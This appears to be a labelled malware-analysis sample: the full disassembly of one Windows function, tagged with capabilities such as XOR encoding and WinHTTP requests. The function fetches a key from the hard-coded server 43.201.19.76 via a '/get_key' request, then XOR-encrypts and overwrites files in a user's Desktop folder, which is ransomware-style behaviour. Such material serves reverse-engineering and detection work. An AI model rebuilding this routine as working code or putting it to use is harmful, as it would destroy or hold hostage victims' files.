Function at 0x140003fd0
Capabilities:
Encode data using xor
Get file size
Initialize winhttp library
Prepare http request
Read file on windows
Receive http response
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], rax
xor r14d, r14d
mov qword [rbp - 0x41], r14
mov qword [rbp - 0x31], r14
mov qword [rbp - 0x29], 0xf
lea r8d, [rax + 0x18]
lea rdx, str.C:Users_agent17Desktop
lea rcx, [rbp - 0x41]
call fcn.140004710
lea rdx, [rbp - 0x41]
lea rcx, [rbp + 0xf]
call fcn.1400038d0
nop
mov dword [rbp - 0x21], r14d
mov dword [rbp - 0x1d], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.HTTP_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r8d, 0x1f40
xor r9d, r9d
lea rdx, str.43.201.19.76
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str._get_key
lea rdx, [0x140008640]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea rdx, [rbp - 0x21]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov eax, dword [rbp - 0x21]
inc eax
mov ebx, eax
mov ecx, eax
call fcn.1400068b4
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov byte [rdi], r14b
mov r8d, dword [rbp - 0x21]
add r8d, 0xfffffffe
lea r9, [rbp - 0x1d]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
lea r12, [rdi + 8]
mov r15d, r14d
mov dword [rbp - 0x49], r14d
mov rdx, qword [rbp + 0x17]
mov rax, rdx
mov r8, qword [rbp + 0xf]
sub rax, r8
sar rax, 5
test rax, rax
je 0x1400043ae
mov r13d, r14d
movabs rax, 0x7fffffffffffffff
lea rdi, [r8 + r13]
mov qword [rbp - 0x11], r14
mov qword [rbp - 1], r14
mov qword [rbp + 7], r14
mov rsi, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14000416d
mov rdi, qword [rdi]
cmp rsi, 0x10
jae 0x140004181
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x11], xmm0
mov ebx, 0xf
jmp 0x1400041ed
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400041cb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000442d
mov rcx, rax
call fcn.140006878
mov rcx, rax
test rax, rax
je 0x1400043f2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400041da
test rcx, rcx
je 0x1400041d7
call fcn.140006878
jmp 0x1400041da
mov rax, r14
mov qword [rbp - 0x11], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 7], rbx
mov qword [rbp - 1], rsi
lea r14, [rbp - 0x11]
cmp rbx, 0x10
cmovae r14, qword [rbp - 0x11]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rbx + 1]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000434b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [rbp - 0x19], ebx
lea ecx, [rdi + 1]
mov ebx, ecx
call fcn.1400068b4
mov r15, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov byte [r15], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x19]
mov r8d, edi
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.1400068b4
mov rsi, rax
mov r8d, edi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov byte [rsi], 0
xor ecx, ecx
test edi, edi
je 0x1400042ed
mov r9, rsi
mov r10, r15
sub r10, rsi
nop word [rax + rax]
mov eax, 0x38e38e39
mul ecx
shr edx, 3
lea r8d, [rdx + rdx*8]
shl r8d, 2
mov eax, ecx
sub eax, r8d
movzx eax, byte [rax + r12]
xor al, byte [r10 + r9]
mov byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, edi
jb 0x1400042c0
mov rcx, r15
call fcn.140006870
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r14d, r14d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x27]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call fcn.140006870
mov r15d, dword [rbp - 0x49]
jmp 0x14000434e
xor r14d, r14d
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x140004385
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004380
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043f2
call fcn.140006870
inc r15d
mov dword [rbp - 0x49], r15d
add r13, 0x20
mov rdx, qword [rbp + 0x17]
mov rcx, rdx
mov r8, qword [rbp + 0xf]
sub rcx, r8
sar rcx, 5
movsxd rax, r15d
cmp rax, rcx
jb 0x140004145
test r8, r8
je 0x1400043fe
mov rcx, r8
call fcn.140005550
mov rdx, qword [rbp + 0x1f]
mov rcx, qword [rbp + 0xf]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400043f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140006870
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140006850
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001100
nop
int3